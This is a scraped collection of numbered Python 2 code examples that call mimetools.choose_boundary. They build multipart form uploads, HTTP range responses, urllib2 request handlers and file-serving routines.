          date = if_range.split( ';')[0]
          try: mod_since=long(DateTime(date).timeTime())
          except: mod_since=None
          if mod_since is not None:
            last_mod = self._data_mtime()
            if last_mod is None:
              last_mod = 0
            last_mod = long(last_mod)
            if last_mod > mod_since:
              # Modified, so send a normal response. We delete
              # the ranges, which causes us to skip to the 200
              # response.
              ranges = None

      if ranges:
        # Search for satisfiable ranges.
        satisfiable = 0
        for start, end in ranges:
          if start < self.getSize():
            satisfiable = 1
            break

        if not satisfiable:
          RESPONSE.setHeader('Content-Range',
              'bytes */%d' % self.getSize())
          RESPONSE.setHeader('Accept-Ranges', 'bytes')
          RESPONSE.setHeader('Last-Modified', rfc1123_date(self._data_mtime()))
          RESPONSE.setHeader('Content-Type', self.content_type)
          RESPONSE.setHeader('Content-Length', self.getSize())
          RESPONSE.setStatus(416)
          return True

        ranges = HTTPRangeSupport.expandRanges(ranges, self.getSize())


        if len(ranges) == 1:
          # Easy case, set extra header and return partial set.
          start, end = ranges[0]
          size = end - start

          RESPONSE.setHeader('Last-Modified', rfc1123_date(self._data_mtime()))
          RESPONSE.setHeader('Content-Type', self.content_type)
          RESPONSE.setHeader('Content-Length', size)
          RESPONSE.setHeader('Accept-Ranges', 'bytes')
          RESPONSE.setHeader('Content-Range',
              'bytes %d-%d/%d' % (start, end - 1, self.getSize()))
          RESPONSE.setStatus(206) # Partial content

          # convert ranges from bytes to array indices
          RESPONSE.write(array[start/factor:end/factor].tobytes())
        else:
          boundary = choose_boundary()

          # Calculate the content length
          size = (8 + len(boundary) + # End marker length
              len(ranges) * (         # Constant lenght per set
                  49 + len(boundary) + len(self.content_type) +
                  len('%d' % self.getSize())))
          for start, end in ranges:
            # Variable length per set
            size = (size + len('%d%d' % (start, end - 1)) +
                end - start)

          # Some clients implement an earlier draft of the spec, they
          # will only accept x-byteranges.
          draftprefix = (request_range is not None) and 'x-' or ''

          RESPONSE.setHeader('Content-Length', size)
          RESPONSE.setHeader('Accept-Ranges', 'bytes')
          RESPONSE.setHeader('Last-Modified', rfc1123_date(self._data_mtime()))
          RESPONSE.setHeader('Content-Type',
              'multipart/%sbyteranges; boundary=%s' % (
                  draftprefix, boundary))
          RESPONSE.setStatus(206) # Partial content

          for start, end in ranges:
            RESPONSE.write('\r\n--%s\r\n' % boundary)
            RESPONSE.write('Content-Type: %s\r\n' %
                self.content_type)
            RESPONSE.write(
                'Content-Range: bytes %d-%d/%d\r\n\r\n' % (
                    start, end - 1, self.getSize()))

            # convert ranges from bytes to array indices
            RESPONSE.write(array[start/factor:end/factor].tobytes())

          RESPONSE.write('\r\n--%s--\r\n' % boundary)
          return True
Example #46
0
    def do_open(self, http_class, req):
        data = req.get_data()
        v_files = []
        v_vars = []
        # mapping object (dict)
        if req.has_data() and type(data) != str:
            if hasattr(data, 'items'):
                data = data.items()
            else:
                try:
                    if len(data) and not isinstance(data[0], tuple):
                        raise TypeError
                except TypeError:
                    ty, va, tb = sys.exc_info()
                    raise TypeError, "not a valid non-string sequence or mapping object", tb

            for (k, v) in data:
                # if fd is provided with a filename
                if isinstance(v, dict):
                    if not v.has_key('fd'):
                        raise TypeError(
                            "if value is dict, it must have keys 'fd' and 'filename"
                        )
                    if not v.has_key('filename'):
                        raise TypeError(
                            "if value is dict, it must have keys 'fd' and 'filename"
                        )
                    v_files.append((k, v))
                elif hasattr(v, 'read'):
                    v_files.append((k, v))
                else:
                    v_vars.append((k, v))
        # no file ? convert to string
        if len(v_vars) > 0 and len(v_files) == 0:
            data = urllib.urlencode(v_vars)
            v_files = []
            v_vars = []
        host = req.get_host()
        if not host:
            raise urllib2.URLError('no host given')
        h = http_class(host)  # will parse host:port
        if req.has_data():
            h.putrequest(req.get_method(), req.get_selector())
            if not 'Content-type' in req.headers:
                if len(v_files) > 0:
                    boundary = mimetools.choose_boundary()
                    l = send_data(v_vars, v_files, boundary)
                    h.putheader('Content-Type',
                                'multipart/form-data; boundary=%s' % boundary)
                    h.putheader('Content-length', str(l))
                else:
                    h.putheader('Content-type',
                                'application/x-www-form-urlencoded')
                    if not 'Content-length' in req.headers:
                        h.putheader('Content-length', '%d' % len(data))
        else:
            h.putrequest(req.get_method(), req.get_selector())

        scheme, sel = urllib.splittype(req.get_selector())
        sel_host, sel_path = urllib.splithost(sel)
        h.putheader('Host', sel_host or host)
        for name, value in self.parent.addheaders:
            name = name.capitalize()
            if name not in req.headers:
                h.putheader(name, value)
        for k, v in req.headers.items():
            h.putheader(k, v)
        # httplib will attempt to connect() here.  be prepared
        # to convert a socket error to a URLError.
        try:
            h.endheaders()
        except socket.error, err:
            raise urllib2.URLError(err)
Example #47
0
 def _init_request(self, url):
     self.post_files = []
     self._boundary = '-' * 16 + mimetools.choose_boundary()
     PostRequest._init_request(self, url)
Example #48
0
# You should have received a copy of the GNU General Public License
# along with X4GA.  If not, see <http://www.gnu.org/licenses/>.
# ------------------------------------------------------------------------------

import mimetools, mimetypes
import urllib
import urllib2
import httplib
import time
import string
import base64

import Env

CRLF = '\r\n'
BOUNDARY = mimetools.choose_boundary()

# The following are used for authentication functions.
FOLLOWUP_HOST = 'www.google.com/cloudprint'
FOLLOWUP_URI = 'select%2Fgaiaauth'
GAIA_HOST = 'www.google.com'
LOGIN_URI = '/accounts/ServiceLoginAuth'
LOGIN_URL = 'https://www.google.com/accounts/ClientLogin'
SERVICE = 'cloudprint'
OAUTH = 'This_should_contain_oauth_string_for_your_username'

# The following are used for general backend access.
CLOUDPRINT_URL = 'http://www.google.com/cloudprint'
# CLIENT_NAME should be some string identifier for the client you are writing.
CLIENT_NAME = 'Cloud Print API Client'
Example #49
0
    def do_open(self, http_class, req):
        data = req.get_data()
        v_files = []
        v_vars = []
        # mapping object (dict)
        if req.has_data() and not isinstance(data, str):
            if hasattr(data, 'items'):
                data = data.items()
            else:
                try:
                    if len(data) and not isinstance(data[0], tuple):
                        raise TypeError
                except TypeError:
                    ty, va, tb = sys.exc_info()
                    raise TypeError, "not a valid non-string sequence or mapping object", tb

            for (k, v) in data:
                if hasattr(v, 'read'):
                    v_files.append((k, v))
                else:
                    v_vars.append((k, v))
        # no file ? convert to string
        if len(v_vars) > 0 and len(v_files) == 0:
            data = urllib.urlencode(v_vars)
            v_files = []
            v_vars = []
        host = req.get_host()
        if not host:
            raise urllib2.URLError('no host given')
        h = http_class(host)  # will parse host:port
        if req.has_data():
            h.putrequest('POST', req.get_selector())
            if 'Content-type' not in req.headers:
                if len(v_files) > 0:
                    boundary = mimetools.choose_boundary()
                    l = send_data(v_vars, v_files, boundary)
                    h.putheader('Content-Type',
                                'multipart/form-data; boundary=%s' % boundary)
                    h.putheader('Content-length', str(l))
                else:
                    h.putheader('Content-type',
                                'application/x-www-form-urlencoded')
                    if 'Content-length' not in req.headers:
                        h.putheader('Content-length', '%d' % len(data))
        else:
            h.putrequest('GET', req.get_selector())

        scheme, sel = urllib.splittype(req.get_selector())
        sel_host, sel_path = urllib.splithost(sel)
        h.putheader('Host', sel_host or host)
        for name, value in self.parent.addheaders:
            name = name.capitalize()
            if name not in req.headers:
                h.putheader(name, value)
        for k, v in req.headers.items():
            h.putheader(k, v)
        # httplib will attempt to connect() here.  be prepared
        # to convert a socket error to a URLError.
        try:
            h.endheaders()
        except socket.error as err:
            raise urllib2.URLError(err)

        if req.has_data():
            print v_files
            if len(v_files) > 0:
                l = send_data(v_vars, v_files, boundary, h)
            elif len(v_vars) > 0:
                # if data is passed as dict ...
                data = urllib.urlencode(v_vars)
                h.send(data)
            else:
                # "normal" urllib2.urlopen()
                h.send(data)

        code, msg, hdrs = h.getreply()
        fp = h.getfile()
        if code == 200:
            resp = urllib.addinfourl(fp, hdrs, req.get_full_url())
            resp.code = code
            resp.msg = msg
            return resp
        else:
            return self.parent.error('http', req, fp, code, msg, hdrs)
Example #50
0
    def do_open(self, http_class, req):
        data = req.get_data()
        v_files = []
        v_vars = []
        # mapping object (dict)
        if req.has_data() and type(data) != str:
            if hasattr(data, u'items'):  #$NON-NLS-1$
                data = data.items()
            else:
                try:
                    if len(data) and not isinstance(data[0], tuple):
                        raise TypeError
                except TypeError:
                    ty, va, tb = sys.exc_info()  #@UnusedVariable
                    raise TypeError, u"not a valid non-string sequence or mapping object", tb  #$NON-NLS-1$

            for (k, v) in data:
                if hasattr(v, u'read'):  #$NON-NLS-1$
                    v_files.append((k, v))
                else:
                    v_vars.append((k, v))
        # no file ? convert to string
        if len(v_vars) > 0 and len(v_files) == 0:
            data = urllib.urlencode(v_vars)
            v_files = []
            v_vars = []
        host = req.get_host()
        if not host:
            raise urllib2.URLError(u'no host given')  #$NON-NLS-1$

        h = http_class(host)  # will parse host:port
        if req.has_data():
            h.putrequest(u'POST', req.get_selector())  #$NON-NLS-1$
            if not u'Content-type' in req.headers:  #$NON-NLS-1$
                if len(v_files) > 0:
                    boundary = mimetools.choose_boundary()
                    l = send_data(v_vars, v_files, boundary)
                    h.putheader(
                        u'Content-Type',  #$NON-NLS-1$
                        u'multipart/form-data; boundary=%s' %
                        boundary)  #$NON-NLS-1$
                    h.putheader(u'Content-length', str(l))  #$NON-NLS-1$
                else:
                    h.putheader(
                        u'Content-type',  #$NON-NLS-1$
                        u'application/x-www-form-urlencoded')  #$NON-NLS-1$
                    if not u'Content-length' in req.headers:  #$NON-NLS-1$
                        h.putheader(u'Content-length', u'%d' %
                                    len(data))  #$NON-NLS-2$ #$NON-NLS-1$
        else:
            h.putrequest(u'GET', req.get_selector())  #$NON-NLS-1$

        scheme, sel = urllib.splittype(req.get_selector())  #@UnusedVariable
        sel_host, sel_path = urllib.splithost(sel)  #@UnusedVariable
        h.putheader(u'Host', sel_host or host)  #$NON-NLS-1$
        for name, value in self.parent.addheaders:
            name = name.capitalize()
            if name not in req.headers:
                h.putheader(name, value)
        for k, v in req.headers.items():
            h.putheader(k, v)
        # httplib will attempt to connect() here.  be prepared
        # to convert a socket error to a URLError.
        try:
            h.endheaders()
        except socket.error, err:
            raise urllib2.URLError(err)
Example #51
0
 def boundary(self):
     if not self._boundary:
         self._boundary = mimetools.choose_boundary()
     return self._boundary
Example #52
0
 def __init__(self, file_disposition="file"):
     self.file_disposition = file_disposition
     self.form_fields = []
     self.files = []
     self.boundary = mimetools.choose_boundary()
     return
Example #53
0
 def startmultipartbody(self, subtype, boundary=None, plist=[], prefix=1):
     self._boundary = boundary or mimetools.choose_boundary()
     return self.startbody("multipart/" + subtype,
                           [("boundary", self._boundary)] + plist,
                           prefix=prefix)
Example #54
0
def get_boundary():
    m = hashlib.md5()
    m.update(mimetools.choose_boundary())
    return m.hexdigest()
Example #55
0
 def test_boundary(self):
     s = set([""])
     for i in range(100):
         nb = mimetools.choose_boundary()
         self.assertNotIn(nb, s)
         s.add(nb)
Example #56
0
    def serve_raw_file(self,
                       file,
                       content_type=None,
                       disposition=None,
                       name=None):
        # Adapted from CherryPy's serve_file(), modified to work with file-like
        # objects

        response = cherrypy.response
        st = None

        if isinstance(file, str):

            path = file

            if not os.path.isabs(path):
                raise ValueError("'%s' is not an absolute path." % path)

            try:
                st = os.stat(path)
            except OSError:
                raise cherrypy.NotFound()

            if stat.S_ISDIR(st.st_mode):
                raise cherrypy.NotFound()

            response.headers['Last-Modified'] = httputil.HTTPDate(st.st_mtime)
            cptools.validate_since()
            file = open(path, "rb")
        else:
            path = getattr(file, "name", None)
            if path:
                try:
                    st = os.stat(path)
                except OSError:
                    pass
            else:
                if not hasattr(file, "read"):
                    raise ValueError(
                        "Expected a file-like object, got %r instead "
                        "(object has no read() method)" % file)
                if not hasattr(file, "seek"):
                    raise ValueError("Can't serve file-like object %r "
                                     "(object has no seek() method)" % file)
                if not hasattr(file, "tell"):
                    raise ValueError("Can't serve file-like object %r "
                                     "(object has no tell() method)" % file)

        # Set the content type
        if content_type is None:

            if path:
                content_type = mimetypes.guess_type(path)[0]

            if not content_type:
                content_type = "text/plain"

        response.headers["Content-Type"] = content_type

        # Set the content disposition
        if disposition is not None:
            cd = disposition
            if not name and path:
                name = os.path.basename(path)
            if name:
                cd = rfc6266.build_header(name, cd)
            response.headers["Content-Disposition"] = cd

        if self.use_xsendfile and path:
            response.headers["X-Sendfile"] = path
            return ""

        # Find the size of the file
        if st is None:
            start = file.tell()
            file.seek(0, 2)  # Move to the end of the file
            c_len = file.tell() - start
            file.seek(start)
        else:
            c_len = st.st_size

        # HTTP/1.0 didn't have Range/Accept-Ranges headers, or the 206 code
        if cherrypy.request.protocol >= (1, 1):
            response.headers["Accept-Ranges"] = "bytes"
            r = httputil.get_ranges(cherrypy.request.headers.get('Range'),
                                    c_len)
            if r == []:
                response.headers['Content-Range'] = "bytes */%s" % c_len
                message = "Invalid Range (first-byte-pos greater than Content-Length)"
                raise cherrypy.HTTPError(416, message)
            if r:
                if len(r) == 1:
                    # Return a single-part response.
                    start, stop = r[0]
                    if stop > c_len:
                        stop = c_len
                    r_len = stop - start
                    response.status = "206 Partial Content"
                    response.headers['Content-Range'] = (
                        "bytes %s-%s/%s" % (start, stop - 1, c_len))
                    response.headers['Content-Length'] = r_len
                    file.seek(start)
                    response.body = file_generator_limited(file, r_len)
                else:
                    # Return a multipart/byteranges response.
                    response.status = "206 Partial Content"
                    import mimetools
                    boundary = mimetools.choose_boundary()
                    ct = "multipart/byteranges; boundary=%s" % boundary
                    response.headers['Content-Type'] = ct
                    if "Content-Length" in response.headers:
                        # Delete Content-Length header so finalize() recalcs it.
                        del response.headers["Content-Length"]

                    def file_ranges():
                        # Apache compatibility:
                        yield "\r\n"

                        for start, stop in r:
                            yield "--" + boundary
                            yield "\r\nContent-type: %s" % content_type
                            yield (
                                "\r\nContent-range: bytes %s-%s/%s\r\n\r\n" %
                                (start, stop - 1, c_len))
                            file.seek(start)
                            for chunk in file_generator_limited(
                                    file, stop - start):
                                yield chunk
                            yield "\r\n"
                        # Final boundary
                        yield "--" + boundary + "--"

                        # Apache compatibility:
                        yield "\r\n"

                    response.body = file_ranges()
            else:
                response.headers['Content-Length'] = c_len
                response.body = file
        else:
            response.headers['Content-Length'] = c_len
            response.body = file

        return response.body
Example #57
0
def serve_file(request, response, path, type=None, disposition=None, name=None):
    """Set status, headers, and body in order to serve the given file.
    
    The Content-Type header will be set to the type arg, if provided.
    If not provided, the Content-Type will be guessed by the file extension
    of the 'path' argument.
    
    If disposition is not None, the Content-Disposition header will be set
    to "<disposition>; filename=<name>". If name is None, it will be set
    to the basename of path. If disposition is None, no Content-Disposition
    header will be written.
    """
    
    if not os.path.isabs(path):
        raise ValueError("'%s' is not an absolute path." % path)
    
    try:
        st = os.stat(path)
    except OSError:
        return NotFound(request, response)
    
    # Check if path is a directory.
    if stat.S_ISDIR(st.st_mode):
        # Let the caller deal with it as they like.
        return NotFound(request, response)
    
    # Set the Last-Modified response header, so that
    # modified-since validation code can work.
    response.headers['Last-Modified'] = formatdate(st.st_mtime)
    validate_since(request, response)
    
    if type is None:
        # Set content-type based on filename extension
        ext = ""
        i = path.rfind('.')
        if i != -1:
            ext = path[i:].lower()
        type = mimetypes.types_map.get(ext, "text/plain")
    response.headers['Content-Type'] = type
    
    if disposition is not None:
        if name is None:
            name = os.path.basename(path)
        cd = '%s; filename="%s"' % (disposition, name)
        response.headers["Content-Disposition"] = cd
    
    # Set Content-Length and use an iterable (file object)
    #   this way CP won't load the whole file in memory
    c_len = st.st_size
    bodyfile = open(path, 'rb')
    
    # HTTP/1.0 didn't have Range/Accept-Ranges headers, or the 206 code
    if request.protocol >= (1, 1):
        response.headers["Accept-Ranges"] = "bytes"
        r = get_ranges(request.headers.get('Range'), c_len)
        if r == []:
            response.headers['Content-Range'] = "bytes */%s" % c_len
            message = "Invalid Range (first-byte-pos greater than Content-Length)"
            return HTTPError(request, response, 416, message)
        if r:
            if len(r) == 1:
                # Return a single-part response.
                start, stop = r[0]
                r_len = stop - start
                response.status = "206 Partial Content"
                response.headers['Content-Range'] = ("bytes %s-%s/%s" %
                                                       (start, stop - 1, c_len))
                response.headers['Content-Length'] = r_len
                bodyfile.seek(start)
                response.body = bodyfile.read(r_len)
            else:
                # Return a multipart/byteranges response.
                response.status = "206 Partial Content"
                boundary = mimetools.choose_boundary()
                ct = "multipart/byteranges; boundary=%s" % boundary
                response.headers['Content-Type'] = ct
                if response.headers.has_key("Content-Length"):
                    # Delete Content-Length header so finalize() recalcs it.
                    del response.headers["Content-Length"]
                
                def file_ranges():
                    # Apache compatibility:
                    yield "\r\n"
                    
                    for start, stop in r:
                        yield "--" + boundary
                        yield "\r\nContent-type: %s" % type
                        yield ("\r\nContent-range: bytes %s-%s/%s\r\n\r\n"
                               % (start, stop - 1, c_len))
                        bodyfile.seek(start)
                        yield bodyfile.read(stop - start)
                        yield "\r\n"
                    # Final boundary
                    yield "--" + boundary + "--"
                    
                    # Apache compatibility:
                    yield "\r\n"
                response.body = file_ranges()
        else:
            response.headers['Content-Length'] = c_len
            response.body = bodyfile
    else:
        response.headers['Content-Length'] = c_len
        response.body = bodyfile

    return response
Example #58
0
class RequestProcessor(object):
    """
	Processes base requests: POST (application/x-www-form-urlencoded and multipart/form-data) and GET.
	"""
    headers = {
        "User-agent": "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:21.0)"
        " Gecko/20130309 Firefox/21.0",
        "Accept-Language": "ru-RU, utf-8"
    }
    boundary = mimetools.choose_boundary()

    def __init__(self):
        self.cookieJar = cookielib.CookieJar()
        cookieProcessor = urllib2.HTTPCookieProcessor(self.cookieJar)
        self.open = urllib2.build_opener(cookieProcessor).open
        self.open.__func__.___defaults__ = (None, SOCKET_TIMEOUT)

    def getCookie(self, name):
        """
		Gets cookie from cookieJar
		"""
        for cookie in self.cookieJar:
            if cookie.name == name:
                return cookie.value

    def multipart(self, key, name, ctype, data):
        """
		Makes multipart/form-data encoding
		Parameters:
			key: a form key (is there a form?)
			name: file name
			ctype: Content-Type
			data: just data you want to send
		"""
        start = ["--" + self.boundary, "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" % (key, name), \
               "Content-Type: %s" % ctype, "", ""] ## We already have content type so maybe we shouldn't detect it
        end = ["", "--" + self.boundary + "--", ""]
        start = "\n".join(start)
        end = "\n".join(end)
        data = start + data + end
        return data

    def request(self, url, data=None, headers=None, urlencode=True):
        """
		Makes a http(s) request
		Parameters:
			url: a request url 
			data: a request data
			headers: a request headers (if not set, self.headers will be used)
			urlencode: urlencode flag
		"""
        headers = headers or self.headers
        if data and urlencode:
            headers[
                "Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"
            data = urllib.urlencode(data)
        else:
            headers[
                "Content-Type"] = "multipart/form-data; boundary=%s" % self.boundary
        request = urllib2.Request(url, data, headers)
        return request

    @attemptTo(REQUEST_RETRIES, tuple, urllib2.URLError, ssl.SSLError,
               httplib.BadStatusLine)
    def post(self, url, data="", urlencode=True):
        """
		POST request
		"""
        resp = self.open(self.request(url, data, urlencode=urlencode))
        body = resp.read()
        return (body, resp)

    @attemptTo(REQUEST_RETRIES, tuple, urllib2.URLError, ssl.SSLError,
               httplib.BadStatusLine)
    def get(self, url, query={}):
        """
		GET request
		"""
        if query:
            url += "?%s" % urllib.urlencode(query)
        resp = self.open(self.request(url))
        body = resp.read()
        return (body, resp)


## todo: move getOpener the hell out of here

    @attemptTo(REQUEST_RETRIES, tuple, socket.gaierror, socket.timeout)
    def getOpener(self, url, query={}):
        """
		Opens a connection to url and returns AsyncHTTPRequest() object
		"""
        if query:
            url += "?%s" % urllib.urlencode(query)
        return AsyncHTTPRequest(url).open()
Example #59
0
"""Generic MIME writer.
Example #60
0
def post(url,
         addheaders=None,
         authstr='',
         body='',
         parameters='',
         filename='',
         function='',
         xmlns='',
         soapargs=None,
         debug=False):
    '''
        Executes an HTTP POST call against a web server.  Supports queries from
        form data, file upload, and SOAP calls.

        Arguments:
            url             - The network location.
        Options:
            Query with form data:
                parameters  - An un-encoded query string, e.g: "n1=v1&n2=v2"

            File upload:
                filename    - An existing absolute or relative file path.
                              Beware of large files, entire file loaded into mem.

            For a SOAP POST, use these options:
                function    - Name of the remote function to append. (req)
                xmlns       - XML namespace string (req)
                soapargs    - A list of dictionaries/objects to convert to XML.

            Generic POST:
                addheaders  - List of (name, value) tuples to include as headers.
                authstr     - String to encode for HTTP Basic authentication,
                                e.g.:  '<username>:<password>'
                body        - Data to send.  Do not use with SOAP, query, or
                                file upload options in the previous section.
                debug       - Enable to log verbose transport information.
        Returns:
            status, reason, body, ctype - tuple
    '''
    # check parameters
    if addheaders is None: addheaders = []
    if soapargs is None: soapargs = []
    if function or xmlns or soapargs:  # posting a SOAP msg
        if not function or not xmlns:
            raise TypeError, 'function and xmlns required with a SOAP POST.'
        if filename or parameters or body:
            raise TypeError, 'filename, parameters, body not allowed with SOAP.'

        addheaders.append(('SOAPAction', function))
        addheaders.append(('Content-Type', 'text/xml; charset=UTF-8'))
        argtext = ''
        for arg in soapargs:
            argtext += dict2xml(arg)
        argtext = argtext.strip()
        body = soap_envelope % locals()

    elif parameters:  # posting form data/query
        if filename or body:
            raise TypeError, 'filename, parameters, body not allowed together.'

        addheaders.append(
            ('Content-Type', 'application/x-www-form-urlencoded'))
        body = urllib.urlencode(parameters)

    elif filename:  # posting a file upload
        if parameters or body:
            raise TypeError, 'filename, parameters, body not allowed together.'

        import mimetools, mimetypes  # build mime headers
        boundstr = mimetools.choose_boundary()
        bname = os.path.basename(filename)
        dataf = file(filename, 'rb')  # throws IOError if issue

        pre = '--%s\r\n' % boundstr
        pre += 'Content-Disposition: form-data; filename="%s"\r\n' % bname
        pre += 'Content-Transfer-Encoding: binary\r\n'
        pre += 'Content-Type: %s\r\n\r\n' % (mimetypes.guess_type(filename)[0]
                                             or 'application/octet-stream')
        post = '\r\n--%s--\r\n\r\n' % boundstr
        body = [pre, dataf, post]

        clen = 0  # figure out content length
        for item in body:
            if type(item) is file: clen += os.path.getsize(item.name)
            else: clen += len(item)

        addheaders.append(('Content-Length', str(clen)))
        addheaders.append(
            ('Content-Type', 'multipart/form-data; boundary=%s' % boundstr))

    # else generic post
    response = _http_call('POST', url, addheaders, authstr, body, debug)
    if locals().get('dataf'): dataf.close()
    return response